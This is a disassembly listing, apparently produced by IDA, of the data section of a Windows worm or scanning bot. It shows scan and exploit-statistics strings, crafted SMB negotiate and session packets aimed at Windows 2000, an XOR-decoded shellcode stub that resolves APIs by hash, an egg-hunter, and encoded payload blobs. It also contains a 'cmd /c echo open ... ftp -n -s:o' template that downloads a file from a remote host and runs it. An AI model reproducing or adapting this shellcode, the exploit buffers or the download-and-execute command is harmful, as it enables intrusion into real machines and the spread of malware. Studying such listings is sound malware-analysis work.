dword_418F80	dd 19930520h, 1, 418FA0h, 5 dup(0) ; DATA XREF:	.nsp0:loc_417C14o
		dd 0FFFFFFFFh, 417C0Ch
dword_418FA8	dd 19930520h, 1, 418FC8h, 5 dup(0) ; DATA XREF:	.nsp0:loc_417C28o
dword_418FC8	dd 0FFFFFFFFh, 417C20h,	2, 418F20h, 418F00h, 0 ; DATA XREF: .nsp0:00418FECo
dword_418FE0	dd 0			; DATA XREF: .nsp0:004177FDo
		dd offset sub_417808
		dd 0
		dd offset dword_418FC8+8
dword_418FF0	dd 19930520h, 1, 419010h, 5 dup(0) ; DATA XREF:	.nsp0:loc_417C3Co
		dd 0FFFFFFFFh, 417C34h
dword_419018	dd 19930520h, 1, 419038h, 5 dup(0) ; DATA XREF:	.nsp0:loc_417C50o
		dd 0FFFFFFFFh, 417C48h
dword_419040	dd 19930520h, 1, 419060h, 5 dup(0) ; DATA XREF:	.nsp0:loc_417C64o
		dd 0FFFFFFFFh, 417C5Ch,	0
		dd offset off_422A80
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	417A1Ch, 0
dword_419088	dd 3, 419068h, 418F20h,	418F00h	; DATA XREF: .nsp0:004190A4o
dword_419098	dd 0			; DATA XREF: sub_41794C+47o
					; sub_4179E3+12o
		dd offset sub_4179A6
		dd 0
		dd offset dword_419088
dword_4190A8	dd 19930520h, 1, 4190C8h, 5 dup(0) ; DATA XREF:	.nsp0:loc_417C78o
		dd 0FFFFFFFFh, 417C70h
dword_4190D0	dd 19930520h, 1, 4190F0h, 5 dup(0) ; DATA XREF:	.nsp0:loc_417C8Co
		dd 0FFFFFFFFh, 417C84h,	8 dup(0)
		dd 199DAh, 18000h, 3B8h	dup(0)
dword_41A000	dd 0			; DATA XREF: sub_40E785+1Fo
		dd offset sub_402951
		dd offset sub_417A34
dword_41A00C	dd 0			; DATA XREF: sub_40E785+1Ao
dword_41A010	dd 0			; DATA XREF: sub_40E785+10o
		dd offset sub_40D822
		dd offset sub_413A3D
		dd offset sub_4149E3
; ---------------------------------------------------------------------------
		retn	4153h
; ---------------------------------------------------------------------------
		align 4
dword_41A024	dd 0			; DATA XREF: sub_40E785:loc_40E790o
dword_41A028	dd 0			; DATA XREF: sub_40E7D4+65o
		dd offset sub_414A88
dword_41A030	dd 0			; DATA XREF: sub_40E7D4:loc_40E834o
dword_41A034	dd 0			; DATA XREF: sub_40E7D4+76o
		dd offset loc_4153D3
dword_41A03C	dd 0			; DATA XREF: sub_40E7D4:loc_40E845o
dword_41A040	dd 682D61h, 0		; DATA XREF: sub_40154B+FAo
		db 2 dup(0)
word_41A04A	dw 5341h		; DATA XREF: .nsp0:00402FC0o
		dd 2D312E4Eh, 50545448h, 5 dup(0)
dword_41A068	dd 50h			; DATA XREF: sub_401000+1Er
					; sub_4077FD+1C91r ...
off_41A06C	dd offset sub_4023B8	; DATA XREF: sub_40154B+17Cr
dword_41A070	dd 0			; DATA XREF: sub_401000+2Eo
					; sub_4023B8+1BCr ...
dword_41A074	dd 1			; DATA XREF: sub_401141+1Er
		dd 1, 32682D61h, 0
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 4023B8h, 0
		dd 2 dup(1), 33682D61h,	0
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	4023B8h, 0
		dd 2 dup(1), 3174656Eh,	0
		dd 654E0000h, 69706174h, 3933312Dh, 5 dup(0)
		dd 8Bh,	402F69h, 0
		dd 2 dup(1), 3274656Eh,	0
		dd 654E0000h, 69706174h, 3534342Dh, 5 dup(0)
		dd 1BDh, 402F69h, 0	; CODE XREF: sub_41A1AA:loc_41A1BFj
		dd 2 dup(1), 0Fh dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_41A1BA

; =============== S U B	R O U T	I N E =======================================



sub_41A1AA	proc near		; CODE XREF: sub_41A1AA:loc_41A1BAp
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_41A1B2:				; CODE XREF: sub_41A1AA+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_41A1B2
		jmp	short loc_41A1BF
; ---------------------------------------------------------------------------


loc_41A1BA:				; CODE XREF: .nsp0:0041A1A8j
		call	sub_41A1AA


loc_41A1BF:				; CODE XREF: sub_41A1AA+Ej
		jo	short near ptr dword_41A158+2
		cwde
		cdq
		cdq
		retn
sub_41A1AA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_401000+81o
		align 4
aSD		db ' %s: %d,',0         ; DATA XREF: sub_401000+42o
		align 4
unk_41A348	db  1Fh			; DATA XREF: sub_401000+11o
		db 2, 73h, 2
		db  1Fh
		db 63h,	61h, 6Eh
		db  20h
		db 2, 0BBh, 2
aExploitStatist	db ' Exploit Statistics:',0
		align 4
unk_41A36C	db  1Fh			; DATA XREF: sub_4010CA+42o
		db 2, 73h, 2
		db  1Fh
		db 63h,	61h, 6Eh
		db  20h
		db 2, 0BBh, 2
aScanNotActive_	db ' Scan not active.',0
		align 4
dword_41A38C	dd 273021Fh, 6E61631Fh,	2BB0220h, 754320BBh, 6E657272h
					; DATA XREF: sub_4010CA+2Co
		dd 50492074h, 7325203Ah, 2Eh
dword_41A3AC	dd 266021Fh, 2070741Fh,	0BB02BB02h ; DATA XREF:	sub_401141+259o
aFailedToStartS	db ' Failed to start server, error: <%d>.',0
		align 10h
dword_41A3E0	dd 266021Fh, 2070741Fh,	0BB02BB02h ; DATA XREF:	sub_401141+1FBo
aServerStartedO	db ' Server started on Port: %d, File: %s, Request: %s.',0
unk_41A420	db  1Fh			; DATA XREF: sub_401141+138o
		db 2, 74h, 2
		db  1Fh
		db 66h,	74h, 70h
		db  20h
		db 2, 0BBh, 2
aFailedToStar_0	db ' Failed to start server, error: <%d>.',0
		align 8
unk_41A458	db  1Fh			; DATA XREF: sub_401141+D8o
					; sub_4077FD+31A9o
		db 2, 74h, 2
		db  1Fh
		db 66h,	74h, 70h
		db  20h
		db 2, 0BBh, 2
aServerStarte_0	db ' Server started on Port: %d, File: %s, Request: %s.',0
		align 4
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_401412+38o
					; sub_4058DC+46o
unk_41A4A8	db  1Fh			; DATA XREF: sub_401704+1E0o
		db 2, 73h, 2
		db  1Fh
		db 63h,	61h, 6Eh
		db  20h
		db 2, 0BBh, 2
aFinishedAtSDAf	db ' Finished at %s:%d after %d minute(s) of scanning.',0
unk_41A4E8	db  1Fh			; DATA XREF: sub_401704+168o
		db 2, 73h, 2
		db  1Fh
		db 63h,	61h, 6Eh
		db  20h
		db 2, 0BBh, 2
aFailedToStartW	db ' Failed to start worker thread, error: <%d>.',0
		align 4
unk_41A524	db  1Fh			; DATA XREF: sub_401704+103o
		db 2, 73h, 2
		db  1Fh
		db 63h,	61h, 6Eh
		db  20h
		db 2, 0BBh, 2
aSDScanThreadDS	db ' %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 4
unk_41A55C	db  1Fh			; DATA XREF: sub_401704+87o
		db 2, 73h, 2
		db  1Fh
		db 63h,	61h, 6Eh
		db  20h
		db 2, 0BBh, 2
aFailedToInitia	db ' Failed to initialize critical section.',0
		align 8
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_401BC7+B2o
		align 4
dword_41A5A4	dd 10FF8h, 0		; DATA XREF: sub_401BC7+6Ao
dword_41A5AC	dd 10FF8h		; DATA XREF: sub_401BC7+79o
dword_41A5B0	dd 7FFDF020h, 0		; DATA XREF: sub_401BC7+162o
dword_41A5B8	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_401FE1+78o
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_41A640	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_401FE1+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_41A670	dd 0			; DATA XREF: sub_401FE1+44o
		dd 800000D4h, 2	dup(0)
unk_41A680	db  81h	; 		; DATA XREF: sub_4020C0+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		align 10h
byte_41A6D0	db 41h			; DATA XREF: sub_40215E+108r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_41A718	proc near		; DATA XREF: sub_4023B8+82o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_41A814
		push	dword ptr [esi]
		push	63D61209h
		call	sub_41A82A
		mov	[esi+8], eax
		call	sub_41A7DD
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_41A82A
		mov	[esi+0Ch], eax
		call	sub_41A78F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_41A82A
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_41A718	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A78F	proc near		; CODE XREF: sub_41A718+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_41A7B8
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_41A78F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41A7B8	proc near		; CODE XREF: sub_41A78F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_41A7C7:				; CODE XREF: sub_41A7B8+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_41A7D4
		inc	ebx
		jmp	short loc_41A7C7
; ---------------------------------------------------------------------------


loc_41A7D4:				; CODE XREF: sub_41A7B8+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_41A7B8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41A7DD	proc near		; CODE XREF: sub_41A718+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_41A7F5:				; CODE XREF: sub_41A7DD+1Ej
		cmp	[ecx], ebx
		jz	short loc_41A7FD
		mov	ecx, [ecx]
		jmp	short loc_41A7F5
; ---------------------------------------------------------------------------


loc_41A7FD:				; CODE XREF: sub_41A7DD+1Aj
		mov	edx, edi


loc_41A7FF:				; CODE XREF: sub_41A7DD+2Aj
		cmp	[edx+4], ebx
		jz	short loc_41A809
		mov	edx, [edx+4]
		jmp	short loc_41A7FF
; ---------------------------------------------------------------------------


loc_41A809:				; CODE XREF: sub_41A7DD+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_41A7DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A814	proc near		; CODE XREF: sub_41A718+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_41A814	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A82A	proc near		; CODE XREF: sub_41A718+16p
					; sub_41A718+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_41A840:				; CODE XREF: sub_41A82A+33j
		jecxz	short loc_41A87A
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_41A84D:				; CODE XREF: sub_41A82A+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_41A859
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_41A84D
; ---------------------------------------------------------------------------


loc_41A859:				; CODE XREF: sub_41A82A+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_41A840
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_41A87A:				; CODE XREF: sub_41A82A:loc_41A840j
					; sub_41A82A:loc_41A87Aj
		jmp	short loc_41A87A
sub_41A82A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41A880	proc near		; DATA XREF: sub_4023B8+30o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_41A8D2
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_41A89D:				; CODE XREF: sub_41A880+38j
		jecxz	short loc_41A8CD
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_41A8A8:				; CODE XREF: sub_41A880+32j
		lodsb
		test	al, al
		jz	short loc_41A8B4
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_41A8A8
; ---------------------------------------------------------------------------


loc_41A8B4:				; CODE XREF: sub_41A880+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_41A89D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_41A8CD:				; CODE XREF: sub_41A880:loc_41A89Dj
		mov	[esp+arg_0], ebx
		retn
sub_41A880	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A8D2	proc near		; CODE XREF: sub_41A880+7p

; FUNCTION CHUNK AT 0041A90A SIZE 00000007 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_41A8EB
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_41A8F6
; ---------------------------------------------------------------------------


loc_41A8EB:				; CODE XREF: sub_41A8D2+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_41A8F6:				; CODE XREF: sub_41A8D2+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_41A90A
sub_41A8D2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41A8FD	proc near		; CODE XREF: sub_41A8D2:loc_41A90Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_41A8FD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41A8D2


loc_41A90A:				; CODE XREF: sub_41A8D2+29j
		call	sub_41A8FD


loc_41A90F:				; DATA XREF: sub_401B6C+1Bo
					; sub_4077FD+74Fo
		add	[ebx], ah
; END OF FUNCTION CHUNK	FOR sub_41A8D2
; ---------------------------------------------------------------------------
		db 3 dup(0)
dword_41A914	dd 60h			; DATA XREF: sub_401BC7+320o
dword_41A918	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_401BC7+2F5o
dword_41A924	dd 30h			; DATA XREF: sub_401BC7+2CAo
					; .nsp0:0041E154o
dword_41A928	dd 0A1h			; DATA XREF: sub_401BC7+29Fo
dword_41A92C	dd 3			; DATA XREF: sub_401BC7+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_401BC7+153o
		align 4


loc_41A938:				; DATA XREF: sub_401BC7+E8o
		jmp	short near ptr dword_41A940
; ---------------------------------------------------------------------------
		align 10h
dword_41A940	dd 2 dup(0)		; CODE XREF: .nsp0:loc_41A938j
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: sub_4023B8+57o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 10h
aB:					; DATA XREF: sub_402972+ADo
		unicode	0, <>
		dw 4400h
aCkfdenecfdef_0	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacaca_0	db ' CACACACACACACACACACACACACACACAAA',0
		align 10h
dword_41AA00	dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0)
					; DATA XREF: sub_402972+CEo
		dd 8AC0000h, 0E5000000h, 2003100h, 4D4E414Ch, 2E314E41h
		dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h
		dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 2	dup(0)
dword_41AA60	dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: sub_402972+E8o
		dd 8AC0000h, 0E5000000h, 0FF0Ch, 2FFDF00h, 100h, 4E000000h
		dd 0
		dd 0D05C00h, 60007180h,	2B06064Ch, 5050106h, 3042A002h
		dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah
		dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0
		db    0
		db 20h,	2 dup(0)
		db    0
		db 0Ch,	0, 0Ch
		db    0
		db 20h,	2 dup(0)
		db    0
aWorkstation1wi	db 'WORKSTATION1Windows 2000 2195',0
aWindows20005_0	db 'Windows 2000 5.0',0
		dd 2 dup(0)
dword_41AB18	dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: sub_402972+102o
		dd 8AC0000h, 0E5000800h, 0FF0Ch, 2FFDF00h, 100h, 94000000h
		dd 0
		dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h
		dd 534D4C54h, 3005053h,	18000000h, 40001800h, 18000000h
		dd 58001800h, 0
		dd 70000000h, 0
		dd 70000000h, 18000000h, 70001800h, 2 dup(0)
		dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0)
		db    0
		db 2 dup(0), 8Fh
; ---------------------------------------------------------------------------
		jno	short loc_41AC16
		mov	ecx, 484962Fh
		retf	0EE65h
; ---------------------------------------------------------------------------
		dw 0DAFBh
		db 0CEh	; 
		db 9Eh,	0AFh, 28h
		db  8Eh	; 
		db 0EEh, 7Ah, 54h
		db  69h	; i
		db 85h,	28h, 57h
		db    0
		db 4Fh,	0, 52h
		db    0
		db 4Bh,	0, 53h
		db    0
		dd offset loc_410051+3
		dd offset loc_490054
		db 4Fh,	0, 4Eh
		db    0
		db 31h,	0, 57h
aIndows20002195	db 'indows 2000 2195',0
aWindows20005_1	db 'Windows 2000 5.0',0
		align 10h
dword_41AC10	dd 3A000000h		; DATA XREF: sub_402972+119o
		db 0FFh, 53h
; ---------------------------------------------------------------------------


loc_41AC16:				; CODE XREF: .nsp0:0041ABBCj
		dec	ebp
		inc	edx
		jnz	short $+2
; ---------------------------------------------------------------------------
		dw 0
		dd 20011800h, 3	dup(0)
		dd 8AC0000h, 0E5000800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch
		dd 244350h, 3F3F3F3Fh, 3Fh
dword_41AC50	dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
					; DATA XREF: sub_402972+130o
		dd 8AC0800h, 0E5000800h, 0FF18h, 80000h, 16h, 0
		dd 2019Fh, 3 dup(0)
		dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h,	2 dup(0)
dword_41ACB8	dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_402972+14Ao
		dd 8AC0800h, 0E5000800h, 48000010h, 0E0040000h,	0FFh, 2	dup(0)
		dd 48004A00h, 2004A00h,	2600h, 5C004F40h, 45504950h, 5005Ch
		dd 10030Bh, 480000h, 0
		dd 16D00000h, 16D0h, 10000h, 0
		dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h
		dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h,	26048h
		dd 0
dword_41AD50	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_402972+164o
					; sub_402972+1DAo
		dd 8AC0800h, 0E5000800h, 0FF0Eh, 400000h, 0FF000000h, 8FFFFFFh
		dd 11800h, 3F011800h, 0
		dd 5011800h, 10010000h,	18000000h, 1, 0
		dd 1, 6B001F00h, 14C658Ch, 0
		dd 1000000h, 0
		dd 63366800h, 1, 63000000h, 4A000001h, 9F4340FCh, 9043F5F8h
		dd 489B404Fh, 0F54F4A42h, 98469337h, 6A4F4998h,	0EED95951h
		dd 0F42474D9h, 1373815Bh, 0AD136156h, 0E2FCEB83h, 0ECA5D7F4h
		dd 579EA942h, 5E8A3C51h, 0EC9EAF45h, 7FEA3652h,	56EA7289h
		dd 161DDD91h, 988E57D5h, 4CEA4EE2h, 5A8A578Dh, 12EA6226h
		dd 8AA16743h, 67A1D201h, 1EAB97AAh, 0E78A94ACh,	3B450296h
		dd 4CEAB3D8h, 758A5789h, 982A5A26h, 0F8604AF2h,	9AEA7AAEh
		dd 727D72C1h, 77BA676Eh, 98511526h, 63EA5AEDh, 53EAFBB1h
		dd 9D0908A5h, 438D58E3h, 40078052h, 21523ECBh, 211221C5h
		dd 0C39E02F2h, 0EF8C9DC5h, 0C59E0696h, 7584DFF2h, 1169BB2Ch
		dd 0EC633CF8h, 1AB83E7Dh, 0EC36FB58h, 4032057Bh, 402205FEh
		dd 0C39E05EEh, 0FCDF3ECBh, 0F2E805CBh, 0C53E38h, 0
dword_41AEB0	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_402972+17Eo
					; sub_402972+1F4o
		dd 8AC0800h, 0E5000800h, 0FF0Eh, 18400000h, 0FF000001h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 9001F00h,	0EC3691DDh, 42713C7Bh, 7BB1A9F8h, 0FA4FFB09h
		dd 40B7A9FAh, 7BB1A9F8h, 5AE71F48h, 43B7A9FAh, 0EC3402F9h
		dd 0F409C57Dh, 441890D4h, 0EC348052h, 770B307Dh, 7E023ECBh
		dd 430BB324h, 9AAD7FF4h, 9A253C4Ah, 0E0A1674Fh,	3E23A807h
		dd 804D1453h, 0B8592C20h, 6109FD06h, 0EC77E553h, 0C59E12D8h
		dd 423301F6h, 120B07FCh, 423407FCh, 0BE098652h,	40AF5374h
		dd 0EC0B8052h, 0C39E6152h, 909D0126h, 0C59E3269h, 7BB1A9FFh
		dd 73819842h, 0ECB7A9FEh
aR18zt89rmiyrru	db '}R18zT89rMIyrrUxOD5Ldn90tdGUQ4xcbHSBmL1VZjHnU02M96tnEaW4RWvmqwAt8'
		db 'atPAlENccp4U21A45xy0anPR7ULgqNdyZCRr0ljcyOmnK7',0
		align 10h
dword_41B010	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_402972+198o
					; sub_402972+20Eo
		dd 8AC0800h, 0E5000800h, 0FF0Eh, 30400000h, 0FF000002h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 34001F00h, 31323231h, 416E5553h, 536C4D46h, 39646C65h
		dd 79656A43h, 71423371h, 72736837h, 5A4E4241h, 6F7A7255h
		dd 32423650h, 35727354h, 69577A65h, 71695269h, 5353656Ch
		dd 4C687364h, 4B633767h, 665A6836h, 7053536Ah, 6552385Ah
		dd 45786F58h, 615A547Ah, 716C4F55h, 32397643h, 55347731h
		dd 6752794Bh, 346B734Eh, 59737474h, 484B4C5Ah, 5A333335h
		dd 37304144h, 796F4E68h, 536E6337h, 0A644454h, 32000208h
		dd 46377936h, 4534979h,	6F000208h, 6A695059h, 584A5559h
		dd 52496165h, 49475966h, 63483643h, 6C7A3476h, 3859636Ah
		dd 44B4B50h, 49000208h,	6E5A5671h, 46C554Fh, 77000208h
		dd 634D6F6Bh, 39716F79h, 61716D4Eh, 674A696Ah, 65526C36h
		dd 49637A79h, 58526F70h, 793833h, 0AE576800h, 1000000h
		dd 0
		dd 1000000h, 0
		dd 0AD91A700h, 2 dup(0)
dword_41B170	dd 66000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_402972+1AFo
					; sub_402972+225o
		dd 8AC0800h, 0E5000800h, 1C000010h, 0E0040000h,	0FFh, 2	dup(0)
		dd 1C004A00h, 2004A00h,	2600h, 5C002340h, 45504950h, 5005Ch
		dd 100200h, 1C0000h, 0
		dd 40000h, 0
		dd 1Fh,	2 dup(0)
unk_41B1E0	db  81h	; 		; DATA XREF: sub_402972+283o
		db 2 dup(0), 44h
aCkfdenecfdef_1	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacaca_1	db ' CACACACACACACACACACACACACACACAAA',0
		align 10h
dword_41B230	dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0)
					; DATA XREF: sub_402972+2A4o
		dd 2D80000h, 97230000h,	2003100h, 4D4E414Ch, 2E314E41h
		dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h
		dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 2	dup(0)
dword_41B290	dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: sub_402972+2BEo
		dd 2D80000h, 97230000h,	0FF0Ch,	2FFDF00h, 100h,	4E000000h
		dd 0
		dd 0D05C00h, 60007180h,	2B06064Ch, 5050106h, 3042A002h
		dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah
		dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0
		db    0
		db 20h,	2 dup(0)
		db    0
		db 0Ch,	0, 0Ch
		db    0
		db 20h,	2 dup(0)
		db    0
aWorkstation1_0	db 'WORKSTATION1Windows 2000 2195',0
aWindows20005_2	db 'Windows 2000 5.0',0
		dd 2 dup(0)
dword_41B348	dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
					; DATA XREF: sub_402972+2D8o
		dd 2D80000h, 97230800h,	0FF0Ch,	2FFDF00h, 100h,	94000000h
		dd 0
		dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h
		dd 534D4C54h, 3005053h,	18000000h, 40001800h, 18000000h
		dd 58001800h, 0
		dd 70000000h, 0
